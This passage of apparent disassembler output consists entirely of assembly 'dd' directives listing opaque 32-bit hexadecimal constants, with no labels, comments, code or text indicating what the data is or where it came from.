		dd 0F7EBD171h, 0E908C2DBh, 98F72FB2h, 0B499701Fh, 0C2FB7B5Ch
		dd 0B2F57740h, 805702FDh, 0A907B3AAh, 53FBA14h,	0CC76B1C2h
		dd 234B8073h, 80B5B37Eh, 82316E93h, 0BDE91216h,	1B05F4C8h
		dd 2160441Eh, 758833C9h, 0D820E366h, 0D65ADDE2h, 0BE5BF04Bh
		dd 8FEF409h, 25AF26CFh,	0F78725F7h, 3B2C48D4h, 804ED190h
		dd 1C3830Ah, 931271BFh,	0E9F303C1h, 285BC99Bh, 392D35A0h
		dd 6FAE50C2h, 57610F1Ah, 9ED00649h, 24080FA0h, 0F27F5E81h
		dd 88FBD687h, 0AFF4E905h, 42361A97h, 0A236D05Ch, 49D657D1h
		dd 984512F3h, 7376BE33h, 0FDA09589h, 22864CEEh,	0A1524161h
		dd 0F7718A25h, 0DC7662FDh, 0DFC76404h, 2C12FED5h, 0C4EE7ECh
		dd 0A8ECDE7Eh, 3DD11E00h, 0D68F181h, 0A427506Dh, 0A3645B3Ch
		dd 5D5C89E9h, 7F087C48h, 3FD85181h, 0A87BE1AAh,	0F4BEF45Eh
		dd 7E41EDE7h, 61695630h, 0CAC3D3A6h, 5A7AA558h,	0D108835Fh
		dd 3443BEF1h, 0D70BCF83h, 80A72DCFh, 4374F693h,	0F3E9245Eh
		dd 2474AD9Ah, 1E7A7BEBh, 24DDA728h, 88EB5F0Ch, 0E49731DDh
		dd 9F232027h, 21B05004h, 0D8ACFAB3h, 42AE2C1Dh,	82BCE9D8h
		dd 5338C368h, 0F4C66CB5h, 0D30A5670h, 942BE801h, 0A5E42D21h
		dd 0E385600Bh, 0F58FA8EAh, 0E122058Dh, 85EDD158h, 1C6926EDh
		dd 897EB716h, 81C1C04h,	3E34A513h, 4138A1DCh, 1A10207Eh
		dd 36F0301Eh, 0F5A41BD7h, 0EF5AB5EDh, 717C0CC1h, 9870066Eh
		dd 1095ACh, 1C7B5F09h, 5EB23D38h, 0BE9B37FAh, 0AD8F318Ah
		dd 1109C6D4h, 58E45FC0h, 59A4232Dh, 0A15469E1h,	0E908C559h
		dd 0FE00F74Bh, 564FD6BBh, 4C06F437h, 0A9845086h, 665B0589h
		dd 0D1D081C3h, 9B34A10Eh, 16B30A53h, 3D11EB0h, 0BFB5515Bh
		dd 262DA286h, 0C9CD5671h, 3002A254h, 0E17D180Bh, 372ABF9Dh
		dd 0C75F96C9h, 52DBBB04h, 5A876CB0h, 560F1EB1h,	0B8053430h
		dd 4B5BE02h, 0AA382F68h, 0B64E229Ah, 0E9FD094Eh, 55EEC1A4h
		dd 0AD46E86Bh, 85D8EC7Eh, 95D87D3Ch, 6C0C2F68h,	58206AEEh
		dd 0F381026Ah, 9E106BEh, 843B9A7Ch, 118FF7B7h, 0E91ACCBCh
		dd 2C90C9ACh, 4E54F868h, 485AE968h, 26B81E17h, 9515CADEh
		dd 1AAB5F0h, 736DD03Bh,	0EAB47A6Fh, 2968F65Bh, 8273040h
		dd 302EC3C8h, 0D7F3C18h, 6E7D1E3Dh, 4627BA71h, 8A6F7223h
		dd 2EF0205Eh, 0A8B71853h, 0D82AE4D0h, 0F0A0F595h, 5CB5EC4h
		dd 0A2CE0126h, 1CC10820h, 6F6D46E8h, 18396E60h,	0CC7CB03Ch
		dd 0C02DE50Eh, 0E9734048h, 0E9CA6367h, 0AAE1DEC5h, 0C265206Bh
		dd 42365506h, 9794CD31h, 44BA9968h, 6C93701Eh, 0DED6D789h
		dd 14044FFBh, 778C187Fh, 0D2431604h, 1240FB21h,	164E2629h
		dd 2A4AB84Dh, 1A89E3F0h, 455856FEh, 731D8940h, 1215BB80h
		dd 1062D227h, 89040645h, 0BE8B205Fh, 194C238Eh,	0A8590949h
		dd 1C11A9F5h, 0DF2D51F9h, 0FB974D34h, 61EA2982h, 6376F6E9h
		dd 10B24891h, 0B0406B23h, 0A3945FF8h, 0E985984Ah, 951970EBh
		dd 0B68C16FDh, 0BF29C4F9h, 0B631A2C9h, 4580E64h, 8A17E22Dh
		dd 6380AA52h, 165C30h
		dd 0F7814F39h, 3A257542h, 8DEEE917h, 4A72C5F2h,	12008E0Eh
		dd 0CBEB5EF1h, 0CF2A1357h, 1345DAAEh, 0AF08892Ch, 0EF5B140Bh
		dd 135F2E48h, 0F2DAEE3h, 7FAED82Fh, 13E0B844h, 0F5B700Ah
		dd 0DAA6023Dh, 0D3A1A78h, 37FC81BFh, 0FE79FB2Dh, 0E9FA043Bh
		dd 0C2D988FAh, 6441360Bh, 634A773Bh, 46ECC87Fh,	47932821h
		dd 0FF873287h, 0ECD5D83Eh, 6922BC0Ch, 3585E4DFh, 12337BB3h
		dd 0D2D4B06Ah, 0C9490ABDh, 0DC9843Dh, 3FF2C65h,	412D60A7h
		dd 82560C3Eh, 6BE9DD04h, 0F3F5A3Fh, 0BD72B3Ch, 0EE7F3964h
		dd 79132DF2h, 96A7A85Ch, 0A6AC6105h, 8B01C00h, 75628D4h
		dd 3E1AFABEh, 0B5CEC026h, 3D12A64Bh, 40FA7CE9h,	55FF8DCh
		dd 4C00448Bh, 6C9B3547h, 13531112h, 0E8B530E9h,	0E22E1F5h
		dd 1B883740h, 92819B4h,	5391AD9h, 6EC8E0EBh, 3F657A41h
		dd 68092169h, 0D2793D86h, 1A75798Bh, 883A5CB9h,	680B639Ah
		dd 608FD620h, 0C9280BB9h, 95B087F6h, 3008DD6Ch,	8EF6977Eh
		dd 26D972C9h, 42A1970Fh, 5D06C091h, 0BF219D2Bh,	3B0EE8C1h
		dd 0E9B180BCh, 2D946BC6h, 0FF0247BAh, 0EE732E79h, 185FF3DBh
		dd 0C32928DCh, 1A506810h, 88391864h, 910FEB0Fh,	8B4A2654h
		dd 0A7FC79E6h, 29325850h, 42D97F8Bh, 947B8468h,	0EC80CFD1h
		dd 4F501070h, 7552B48Ch, 0CC319240h, 0BEADA9BFh, 3F0023E6h
		dd 81D6F771h, 22FE7E6h,	0E946256Fh, 0B6C5B52Bh,	189A6805h
		dd 2217DDF3h, 0C440ACEBh, 36D4CE82h, 55BB0EC0h,	272A7CF6h
		dd 7A59029Fh, 0FFC60C2h, 0C439E764h, 6E9409E2h,	0E1F6C440h
		dd 60A55797h, 0D958C96Bh, 0FE7E6563h, 923EFEC9h, 980680D7h
		dd 7D0ACBFEh, 9F0CE0E5h, 26086345h, 9FBF0043h, 0C1020E10h
		dd 0FE06EF24h, 0B24DF903h, 5B90B749h, 316B5333h, 597F0CE9h
		dd 0DBAC7F5Dh, 0DF0F9DC6h, 1B29DB98h, 9912BE51h, 5F99EAC4h
		dd 40234448h, 79955C46h, 0D78988C9h, 27555227h,	5F904943h
		dd 0B7C12DF9h, 4BC011C4h, 0BAA0B1E8h, 107B31B6h, 8AEE2E93h
		dd 8FC13814h, 27C30A09h, 0D325DB1Ah, 0B0EE4205h, 0F0E7FAACh
		dd 2CD828B3h, 8AB42BE9h, 6F32E68h, 0BD55E0A8h, 174C44B5h
		dd 0B1ED1A2Eh, 0AD8B550Dh, 9F849006h, 0B85CBF04h, 0A8AB585Fh
		dd 410078DDh, 35485334h, 5B120D04h, 2ECFFC97h, 0D58A2721h
		dd 44A4A6B0h, 14C8D30Bh, 0A7515E2Bh, 0F41127D3h, 0F25C4583h
		dd 0C7019643h, 26985127h, 0D0A48078h, 0A125A9EEh, 5D1F26h
		dd 82BBB370h, 1CDDA640h, 5919C727h, 325D52FEh, 0AC61754Eh
		dd 18E9C44Eh, 0CD153366h, 7B1FE242h, 0BA74B7A0h, 4D926885h
		dd 0DED6EE4Bh, 0FA362452h, 0B875194Ah, 2D685298h, 0A6D14B09h
		dd 4A5D44Fh, 26A83C91h,	7B0A8AFh, 79A2639Ch, 63E0069h
		dd 0D497C9Fh, 0DAF7D187h, 155E2008h, 97BA5280h,	0D09D52E4h
		dd 5FC9979Ah, 0C4BA7C5Fh, 0D2AC6AA0h, 551BBEC0h, 810342B1h
		dd 0E65BC4F6h, 0AB500030h, 0C11FF30Ch, 20DD06EAh, 0FAB7D801h
		dd 4D2821F7h, 0FFF2E213h, 0ADA35C9h, 7734097Bh,	0A2201A5Ah
		dd 0F788160Eh, 0E38EAE5Ah, 0EF45605Bh, 7DB457E9h, 162C4812h
		dd 4F6000BBh, 0D8213BC0h, 676306E9h, 0BB2DB31Eh, 0E6EB8CB5h
		dd 1BE19690h, 0A55AB93Fh, 0A69D98D1h, 2D3ED2Eh,	4E720AC1h
		dd 62BA506Fh, 9F50A889h, 76B9AFA2h, 0F2FDA0D5h,	0F6F3D5FDh
		dd 58B662h, 2D06E0C1h, 7725E47Ch, 344555D1h, 0D98F4D09h
		dd 7D521EF6h, 0AD94F12Ch, 0D182847Eh, 0F5B8B4E4h, 3158EEC4h
		dd 68500435h, 0B88C1601h, 0C80C4EFFh, 0A8A841F2h, 5727CA01h
		dd 276464BFh, 7FD2864Fh, 0A7136909h, 0CF0E001Bh, 98675A61h
		dd 58326175h, 3E73C680h, 0CBD847E1h, 17C3F29Bh,	0F85EE951h
		dd 2EB65E9Dh, 593C680Bh, 53623AECh, 0B482130h, 0CE081550h
		dd 276CF7Eh, 50FC3273h,	40B83BC1h, 75A124Ch, 0F1817101h
		dd 30E41137h, 6499E50h,	64719536h, 584D86BAh, 9221F60h
		dd 3A0D55B7h, 0FAC127F0h, 0F687206h, 389B7D60h,	470BD05Bh
		dd 0E87710E9h, 1628EE33h, 0AA509022h, 3C081550h, 7AF9F75Bh
		dd 5D069B00h, 4FF5E979h, 26CA4BCh, 6809231Eh, 54AA69C9h
		dd 9280C4B9h, 765DAD9Ah, 0D62245C1h, 550256C6h,	9F212868h
		dd 55FB8B5Eh, 0EF076584h, 0C95BDE40h, 4B899E48h, 0B18BECEEh
		dd 523F2854h, 0EBE50529h, 12FA1BEh, 0C150E6AFh,	63FC3B4Bh
		dd 6AF40841h, 599AC2D5h, 4F1E130h, 30BF3F16h, 68E0D3A4h
		dd 85781F58h, 1BB8D860h, 6893548Ch, 230CB331h, 0FB7C374Ch
		dd 245862A2h, 22BC5D95h, 3A8E05Dh, 20AFF680h, 8D46D1F4h
		dd 31173623h, 0C974EAC6h, 0E040F68Ah, 40DE12A9h, 0F6AB0DA5h
		dd 0BFE13EC1h, 92AA3E3h, 47996810h, 0C9803279h,	0E92FE44Ah
		dd 0EAAB608Dh, 433B37BAh, 4C42193Fh, 9F9008Ch, 0D8E9F2E8h
		dd 4CDBB5C5h, 1CE56885h, 0FF2564ABh, 5FC41B2Dh,	0E97B0BB9h
		dd 9A4483DDh, 80517638h, 5722EB81h, 5DE92017h, 945BBA40h
		dd 0A5A9FC29h, 0E909B3E3h, 335F98A1h, 502CD2B6h, 0FF99D71h
		dd 53602E73h, 0F0739BFh, 0F4E92C94h, 0DE8EFB3Dh, 1A51532Dh
		dd 0E00CF560h, 93E91607h, 0B369F9Eh, 6AA8C2E9h,	0BDFDFCD6h
		dd 0D153B8BAh, 2892553Ch, 674F91A0h, 0B1FD54B2h, 60F52B27h
		dd 833F910Bh, 82E90285h, 0F73310F8h, 0CA55528Bh, 8BF100B2h
		dd 9C2D3859h, 0BF5C97EEh, 4AB9C02Ch, 5C1CE473h,	0E68C3A5Bh
		dd 4B11DF3Ch, 0E3594E33h, 435DE987h, 564C7709h,	0AE92C5F8h
		dd 0A4B04971h, 0F729AC40h, 6D879BF9h, 0E51C8468h, 0E599C046h
		dd 1AE23345h, 0DD121A99h, 2A682830h, 42F39760h,	7569EB67h
		dd 0B9833A73h, 0E4A42293h, 3FBAE1BFh, 0DD6C8980h, 9E31F5Bh
		dd 91DDA74Fh, 0C8765D6Dh, 0ACD7E985h, 0DEED935Ch, 0D92DBAB4h
		dd 0B1A2E87Eh, 75DE2AE9h, 6DE48F65h, 2C8060B0h,	1960A5E3h
		dd 0E4C0060Ah, 85F0FEBh, 5E7E55E0h, 0A89A3051h,	6627281Ch
		dd 200C5095h, 0BB04CDF8h, 62457615h, 0C05C2CEAh, 3C5F46E6h
		dd 3447A9C0h, 92FB064h,	15A03907h, 0CE04C186h, 1A62C51Ch
		dd 77D0F74Bh, 40D82020h, 3000702Dh, 96053CADh, 5F9159F8h
		dd 30E7B921h, 9F424E46h, 0C4F65FFFh, 9942C0C4h,	41BD5364h
		dd 0FD65AB55h, 89DF3B22h, 0BC563394h, 1D20C996h, 277C9DEAh
		dd 1CDD7958h, 0BB5CA042h, 2A4292C4h, 987B7B3Dh,	2E64EDEh
		dd 0CA885A96h, 0C9A0F3FDh, 535AD75Eh, 986168Ah,	9C5F446Dh
		dd 5B51FC56h, 29B08C8Ch, 0D62CD07Bh, 6889AC54h,	0F640F848h
		dd 90EB5FB4h, 0A49DF18Fh, 51C7861Eh, 6718D727h,	3F1842EBh
		dd 620C2DD1h, 3BA81F71h, 0C3283F29h, 140CD008h,	95D8F65h
		dd 7330A5ACh, 475F9E68h, 0FB2FECA3h, 3B302761h,	0F4F810C2h
		dd 276D2B15h, 0EB6485DFh, 86DDA2AAh, 0BA4389A4h, 0C3E220BCh
		dd 0CD0CE490h, 5058D11Fh, 1C3B26DDh, 0EF621296h, 955B33DCh
		dd 51085447h, 0EF680671h, 722D1553h, 0BCBD516Dh, 0B4DEF093h
		dd 905845C2h, 755B802Ah, 4316DF2h, 4E6859CEh, 5EE1A349h
		dd 2B03A195h, 0B4093FB9h, 81F50EAh, 0CE5B9966h,	36249F4Bh
		dd 404F5EBh, 5CB3FE99h,	607CC300h, 0D3014CA3h, 8029EA2h
		dd 7CF9565Ah, 0F048997h, 0F8A4F329h, 0F4994B1Eh, 829F5C02h
		dd 577FB1F9h, 8E61D0C2h, 0B5148EF4h, 58E50161h,	0B370EA88h
		dd 0FA09BD26h, 0E9E257D1h, 5B5E700Ah, 1948AB5Eh, 83680418h
		dd 0CF9FFC08h, 0D42FB3E4h, 9227C443h, 66051189h, 9F0CB903h
		dd 382F50DEh, 483968BBh
		dd 0F6D84A2Bh, 87B185A9h, 0D7BDA403h, 1C8AD9A3h, 219E8A2Eh
		dd 0F6688BECh, 2DC27D9Bh, 8742115Fh, 61BD5A89h,	20588A76h
		dd 0EF9BC007h, 362C69B0h, 754DEAF6h, 14E51ED3h,	0DC71F209h
		dd 96D1627Ah, 33FE5405h, 6AE95339h, 4F452F92h, 5FB4898h
		dd 5732190Ch, 0D2469120h, 66EB1079h, 23A2456h, 0A12408h
		dd 179A15AFh, 0EC54E8E9h, 4109F18Ah, 7044E690h,	0F3505BD6h
		dd 107F1032h, 85D85B70h, 17CA05B3h, 0C12DEE71h,	72B59F5h
		dd 7EF828DAh, 89B26C6Ah, 0EAF52C77h, 0C0E5626Dh, 0BF20BBA9h
		dd 3E3139E1h, 0D8A81716h, 0A9239D17h, 0E7C90780h, 3E9464Eh
		dd 0A8C825C1h, 0BFCB6815h, 9AE97A98h, 0F111A262h, 8F74575Eh
		dd 0E31062ACh, 52FA3118h, 790482EDh, 0D501643Fh, 0B48BBCAAh
		dd 50EDCFAFh, 0DF827027h, 0CD807E4Ch, 402F2145h, 59037F60h
		dd 85806F35h, 0C70B0117h, 20ED7AE9h, 1C3378AFh,	0C143097Dh
		dd 0C30406EBh, 0F52902AFh, 5698685Eh, 3EFD7918h, 0E82F58C5h
		dd 6E5957E4h, 0A32D2DF8h, 8E43681Ch, 0B7B225A3h, 112075F2h
		dd 82F0986Ah, 0C5BF2F02h, 44EA701Bh, 13ADCE8Dh,	0BC842AB8h
		dd 0B64FD6Eh, 0DF342274h, 0EC31700h, 4E613942h,	0F213ACA6h
		dd 0BA04EBFh, 7BB9580Fh, 0D8E8EBF1h, 1D32A08Eh,	5E5B2779h
		dd 0E7DE80F7h, 24B4076Ah, 2934F51h, 88F3F785h, 13224475h
		dd 246D7CE9h, 4EB1AF80h, 0B410C8Ah, 0A0E909E0h,	0E3B825E0h
		dd 378C2309h, 58C55C31h, 629549E9h, 56527E89h, 76657320h
		dd 0F17D4D5Fh, 62E80502h, 0C58103E3h, 2C48F568h, 3F38C075h
		dd 55E97825h, 5A20E5E0h, 90DDE060h, 0E7B15F1Ah,	28FF4ABAh
		dd 17339C58h, 10FA2258h, 8ED77Eh, 940585B8h, 0DB2D32h
		dd 0D2EDDA5h, 6110077Dh, 5DFE926h, 134ABA81h, 0F46F3129h
		dd 99F2EEEh, 924A4CF8h,	87C4B72Dh, 5FC9ED9Eh, 25BE0D1h
		dd 1B7F8BF9h, 2B404D08h, 0E9E6D103h, 0C6CA3325h, 0D231269Eh
		dd 197F0B64h, 12E4B513h, 0AEB256AEh, 9720F561h,	43AE726Bh
		dd 354ACACAh, 0ADD44D5Fh, 0F8093D7Bh, 0F60ACE4Dh, 449B4197h
		dd 5D948378h, 0A2EB81AAh, 66E143D2h, 0EE399644h, 4AA921EAh
		dd 0DC50749Ah, 0E4805B07h, 437C0B5h, 87F5EC62h,	0E307A1FBh
		dd 0D659EBE7h, 0A08C4455h, 662D684Bh, 0CB9F5C4Ah, 4EF1965Dh
		dd 0C215404Ah, 744E758Eh, 5BBCB7F6h, 38875F2Dh,	9009A4DCh
		dd 3055BE94h, 1F5FD62Eh, 14DDB702h, 93F07DACh, 0AFBEE4F4h
		dd 29D75462h, 0A8D36655h, 52D5745h, 0C0E9FE34h,	933DAD27h
		dd 6BE8F3C4h, 0B94FE9B0h, 4E87DC9Dh, 72B0788Bh,	10C3BB09h
		dd 90CB8143h, 0C1142B15h, 8945390Ch, 37023F59h,	603513C2h
		dd 1656F21Eh, 0A019344Ah, 0E93D5714h, 73A6543Dh, 2D3CECB7h
		dd 2FFDFD96h, 366904E3h, 0B23BD0A9h, 780940CFh,	1481B0Bh
		dd 7570F160h, 0BF0EBF18h, 7A009C09h, 34DA7814h,	0A0E0094Eh
		dd 0D8995B27h, 4B4AAF58h, 483EF32h, 0D6F5BF56h,	37B16A83h
		dd 0CADAF753h, 595F21F0h, 0E9D3EBA3h, 5AC184A0h, 6987835Dh
		dd 62D9477Ch, 0ED213EA9h, 0F026E3CDh, 81982F79h, 0C5C1C393h
		dd 0BE432E0h, 824068B3h, 7EB1BD3Eh, 7E7C60C2h, 0D6BC209Eh
		dd 642AF10Fh, 0F2C03805h, 5BBC4312h, 6F71956h, 4E72C03h
		dd 7C79222Dh, 6C681481h, 81825A02h, 43FA2A24h, 89F5CFA0h
		dd 78712516h, 7E3F5Eh, 12FE69DAh, 812391E9h, 3D563E5Ch
		dd 343E98BBh, 0F7E4F941h, 943AF0DBh, 0B652052Fh, 11B1BA39h
		dd 96A5C1DEh, 6881CC3Fh, 0C533E80Bh, 0F7FE0339h, 0E687A49Ch
		dd 7048CF60h, 414C58B0h, 33732506h, 0BA120C13h,	0AE091DBCh
		dd 413F62A8h, 163AC8C7h, 0C200FE47h, 36A32768h,	59E84C31h
		dd 787C3425h, 96B62E6Fh, 2512588h, 3C2CAEB9h, 8A5D2142h
		dd 0D0A712F7h, 984509FBh, 0A774296Bh, 81C7ACB2h, 7D7BE90Ch
		dd 78B94E81h, 4020F127h, 0F11EACDh, 28F84262h, 1F8752B5h
		dd 0BDDB2BF0h, 66AE9598h, 694B3868h, 3B50768Ch,	870B4149h
		dd 16824EF1h, 0B1D68CE6h, 5B3D2782h, 2092DF69h,	0BDE89E00h
		dd 50BFA333h, 8CFA273Fh, 284E4AC6h, 0BB5640EFh,	2130CD14h
		dd 0E4FCF55Ah, 96969EB1h, 0EF8D0199h, 713FCD42h, 0E4DE2714h
		dd 0D918C582h, 0B0978063h, 7D354F7Fh, 0A9CA0B42h, 0F48F435Ch
		dd 590A207Eh, 77014168h, 0C01F25BFh, 1FACBBF5h,	472D7F5Dh
		dd 5685BD8h, 0B78C605Ch, 3828515Dh, 8A25AB41h, 890298E3h
		dd 0A5FA9143h, 0E6015253h, 329B6544h, 413D1E7Bh, 0F6430ACEh
		dd 0D87F6069h, 1BD8040h, 2A95422Eh, 97FFC581h, 1BAB4D03h
		dd 74A00C9Ch, 5098C46Eh, 72DF828h, 0A7088DB1h, 1B8624AEh
		dd 0B985C401h, 31AFD2F7h, 6BA968D0h, 0CD5AC0ECh, 110B6F93h
		dd 0D705290Dh, 6CD5E5B2h, 53F6B56Fh, 46858B7Ah,	4540690Bh
		dd 0BD89547Ch, 871E5508h, 9086D9Dh, 947DA407h, 36F5956Eh
		dd 4C5F324Ah, 251C7BFh,	93ACBE65h, 8745C24Ah, 6924DE5Dh
		dd 1EB13938h, 0CB88531Ch, 74E9DA85h, 0FEC2F4BBh, 7B1A2F5Ch
		dd 654AD25Dh, 9DE1019Ah, 40FAFCD2h, 75E90318h, 19090590h
		dd 161D41Eh, 268C7C8Fh,	924DF1EBh, 6DC35982h, 0CF60FB42h
		dd 568070F4h, 23680252h, 5A530848h, 69896079h, 0A0634444h
		dd 0A566BF05h, 1F2C9Ah,	0A7FBD880h, 5CBFD121h, 6A07599Bh
		dd 0FFBBB1A4h, 68BCA207h, 5BDD11C8h, 64F3FEBDh,	2ACCE108h
		dd 922473Dh, 4E8A6B10h,	63FCF800h, 69526E4Dh, 0E477CA51h
		dd 4A99F041h, 0AD9C49CDh, 0F632EC81h, 2ACEF5D6h, 80E43BE8h
		dd 16137955h, 0DDE95D13h, 94B9E980h, 0C6546203h, 526CA8D1h
		dd 0F5D75169h, 1F9B7D20h, 5B5F3CA1h, 4C301429h,	0FEDC9D93h
		dd 18C05FDAh, 0E82F6730h, 0EDB25770h, 6A2FC264h, 72BF5CD1h
		dd 9BAD0FFh, 0C0B35352h, 0D503EA5Dh, 33DC4D40h,	4C1A752Dh
		dd 63BB04AAh, 0EE45556Eh, 72934ED0h, 0C0B15E6Dh, 3E685E79h
		dd 0BC87D197h, 0B7753412h, 0F8BB025Bh, 0E06E3956h, 2E6596C1h
		dd 2DE37664h, 5BF553C2h, 6B28427Eh, 0A2FD154Ah,	7F525C3Fh
		dd 21168AE7h, 6791E791h, 6AFDC112h, 669310BAh, 9C4B9DA0h
		dd 7DE848A8h, 5EBD895Ah, 6060332h, 6539BEC0h, 2340D42Eh
		dd 0B31A3202h, 590DC073h, 3D452C2Eh, 45F81E0Ch,	0FF5661ABh
		dd 0D00D5FB5h, 0EC3ED5E9h, 55C8B527h, 3FC181F7h, 2E17B09h
		dd 0FD84E237h, 98CB4C8Fh, 2EF146DDh, 0C0AA97E5h, 75767CDEh
		dd 0C8020598h, 29404872h, 888C7F1h, 5B1D79EBh, 0A9B7568Bh
		dd 2E654F1h, 9E48E692h,	1337E3D7h, 0C8AF88D0h, 1F2568FDh
		dd 1E4B460Bh, 0A6EB5FD9h, 2AEF0048h, 0BF2DCD4Fh, 7A13F1FCh
		dd 3216D001h, 2D518FF4h, 0AE548FB5h, 0EDCCFE8Fh, 90A863CFh
		dd 14749F0Dh, 6AF8D643h, 2A96E11h, 43D72022h, 3E01C458h
		dd 0E96AE830h, 0FD3EE37Ah, 0F75389B6h, 0E9121495h, 30BB0C13h
		dd 21842FBEh, 87823E5Bh, 0F1DACA35h, 0D7C94FB1h, 5E5F6BE2h
		dd 0D27FC45Ah, 0C5F55FCDh, 0F1843EE8h, 90E6AFE9h, 8478EF4Eh
		dd 4296352Fh, 0FA004282h, 40E91798h, 81F63512h,	59D97413h
		dd 0D42C07FDh, 78A80Fh,	0A2055D5Ah, 7B2D5E75h, 880D001h
		dd 822EC55Fh, 0E2D68E47h, 0E0035427h, 5615732Dh, 0C4EB174Bh
		dd 0C8084447h, 0D90AF859h, 8E683246h, 7CDAD5CBh, 62C051BDh
		dd 43CAA4E9h, 69FFC575h, 0EB62F95Fh, 0EC5F4AECh, 0FA8934EEh
		dd 50998375h, 7B499928h, 3297D93Bh, 0CF95419Eh,	2374836Ch
		dd 9AEF01FEh, 0DCE9A14Ch
		dd 14D97FFAh, 98E0759Eh, 0CC70FD3h, 0F2644433h,	5B5D0072h
		dd 267ADE2Dh, 14954A86h, 0EC4A0705h, 8BF7D6A9h,	0D8220B93h
		dd 678F98BAh, 386E0B22h, 18EECE80h, 0E1F86F9Ah,	9C1BBC0Bh
		dd 1F300311h, 0F525C27Dh, 31DE17A0h, 5AFA7AFEh,	159D655Bh
		dd 1417B855h, 90F01252h, 7C4734E9h, 0B2D9A810h,	0F7A5906Fh
		dd 0D15AA05Eh, 66F1B7C5h, 0F1A09393h, 59D39559h, 83B75300h
		dd 48B1CF80h, 4E7B0EF6h, 0A0E12475h, 2D4F64BFh,	2905B541h
		dd 2760431Dh, 9651163Ah, 1F58B96Bh, 0A5FCFF5h, 29950C30h
		dd 0E6535072h, 4D8C102h, 0FD399936h, 9480E8F6h,	877242B8h
		dd 0C1A0C69Fh, 256875A0h, 0E6C46B2Ah, 41F40712h, 0B74E7016h
		dd 0E059DF54h, 0AC05A268h, 8C6C5468h, 0D524B18Ah, 0C50838F6h
		dd 38502DA0h, 87698324h, 5FDD6870h, 192AE33Dh, 0B4676498h
		dd 0B018DDFEh, 0EF96A473h, 77349480h, 2E092D5Dh, 16E48D59h
		dd 0C742B417h, 0C1027246h, 495FEE27h, 9D764DDh,	4616629Ch
		dd 0D1957AD0h, 0BBBA16DAh, 0B001E756h, 2BD717A0h, 4A4946Ah
		dd 0BFFCE908h, 0BAACD416h, 0C410A8B4h, 34AFFE88h, 28EA0A09h
		dd 682742A5h, 0CF2004CCh, 28315896h, 0A4F7B416h, 51581B9Ah
		dd 5B6B00E3h, 0E9557901h, 59FBE11h, 0C358E588h,	0F7B353EDh
		dd 0FDD0EEC3h, 0C516805Bh, 49EF3071h, 3C7F5378h, 912C3877h
		dd 0A5BF7C62h, 58C67A48h, 32268BB7h, 5E2942E8h,	96D52F17h
		dd 634620C3h, 97C68102h, 0D77AEC25h, 90809A8h, 7DDA99E9h
		dd 25DED09Dh, 0B83932CAh, 0A9DEF996h, 0E909DAFCh, 0A2D54620h
		dd 22D18493h, 11AE53C1h, 457F25C1h, 0E37A4EAAh,	7314D15h
		dd 94B0E2B6h, 0F003D697h, 0C35AA22Ch, 4EB2F0DDh, 80DA0EF6h
		dd 0F26070EAh, 0E9D18826h, 48875025h, 588B829Fh, 6DC48714h
		dd 0F25A0A5Fh, 7606CB04h, 0B703E384h, 95FB4E7Bh, 0AA61B0BBh
		dd 59F32D5Ah, 6ECCC903h, 12620DDEh, 0FD96A1B6h,	69F521BAh
		dd 8D5595F9h, 2EEE381h,	0C46981E5h, 0FB5C71Fh, 0A8692204h
		dd 532320DDh, 3BB443h, 1CCD6857h, 0E95F03C0h, 208AD92Dh
		dd 0A722F7ABh, 4B40B782h, 53C40D5Dh, 0C6C2A9EFh, 594767Fh
		dd 0FA6A6C68h, 67DB3160h, 81530E85h, 78C5CEF2h,	91F18025h
		dd 900C2726h, 0BC5AD189h, 59A16385h, 0CC941EAh,	7392EF7Fh
		dd 0CCB1296Bh, 0EC680059h, 0FAF3A632h, 0B3F15BE1h, 99E15F77h
		dd 824B01F0h, 52A16E94h, 1FC03D73h, 1D981E3Dh, 274C9BB0h
		dd 8FF42866h, 6E7C102h,	7C9F804Fh, 9592126Ch, 8A49827Dh
		dd 0BF9D66E3h, 90F6BB78h, 5D506CBAh, 525E5997h,	0CDE9F860h
		dd 0D674A08Ah, 0F61AFC52h, 97B0B2D0h, 578146DBh, 5069480Dh
		dd 290EC86Fh, 580824C5h, 27D41301h, 0E9E43C06h,	40904E31h
		dd 4821D073h, 29355E26h, 7D8183DFh, 0E90146AAh,	577964A5h
		dd 0BA057090h, 2AAD4D36h, 44A7CC14h, 3B072D99h,	577F939h
		dd 34CE4811h, 4A6863FDh, 0FFF10916h, 0ED80A090h, 88501E8Ah
		dd 92A9CEECh, 0EBD9EE13h, 1834A120h, 0A8740A14h, 2A0D5A86h
		dd 1CFB0178h, 821C0806h, 77386214h, 4B6F6ED1h, 0D39B19AEh
		dd 11103532h, 0CBBF0361h, 0D10E8831h, 0CC6E1936h, 8509F7BAh
		dd 1605B1Dh, 0B709F168h, 5CB01D20h, 60B6A069h, 5D166CB7h
		dd 1317875Ch, 359CEEBAh, 0EFED44D4h, 0E84ACB0Ch, 73F27429h
		dd 0E967170Ch, 507DF082h, 0E8625695h, 425B5135h, 90F0A7F2h
		dd 8F945F97h, 2C6CE380h, 0CA78D93Ch, 40B58EBCh,	0DEFBF168h
		dd 7B2DE9A6h, 0E4B476D4h, 73E7BF5Ch, 0E466B517h, 1E41837Bh
		dd 0C257C06Bh, 6527306Fh, 34C4C57Bh, 0C32ABA3Eh, 0A44E4358h
		dd 23123296h, 4AF3B1Bh,	0AFB52E58h, 0E63EFC6Dh,	0A5614FDEh
		dd 0D1C63868h, 4C0D8B99h, 0FC60D6D6h, 9D40365Bh, 0EA60C2FEh
		dd 5861E9Eh, 5E94257h, 847CFFA0h, 30EE2568h, 7D5A8054h
		dd 4AFF3C0Bh, 0D3858186h, 0D101F311h, 8C0920EFh, 7115FD12h
		dd 0E6BD47B0h, 239D3F26h, 0C82E507h, 1145870Ah,	65A8DEE9h
		dd 0CCE82A11h, 16524E12h, 31FC01FFh, 6BE447B5h,	5629D8A0h
		dd 0BF0190D3h, 33943DC1h, 2F552757h, 7EAA094Ah,	85101318h
		dd 0FF2AFD8h, 175F65C4h, 0B7E164A0h, 0C9123B76h, 0FC6D509h
		dd 0D0A08330h, 0C0EB9C20h, 0E9DA01FCh, 0F2030B25h, 9AF2B7A8h
		dd 0F52B2CBAh, 963D3AA7h, 0C8FFC064h, 8782710Eh, 31E4C824h
		dd 5CF320C0h, 60CB0534h, 0FC6348E9h, 0C30FF4F8h, 0BF0CB8BEh
		dd 61C713Bh, 7EFC161h, 516084Fh, 7206E781h, 0F0C5593h
		dd 44D43933h, 0BD8C1B5Ch, 0E41F4CB0h, 208A2948h, 0CFD99C6Ch
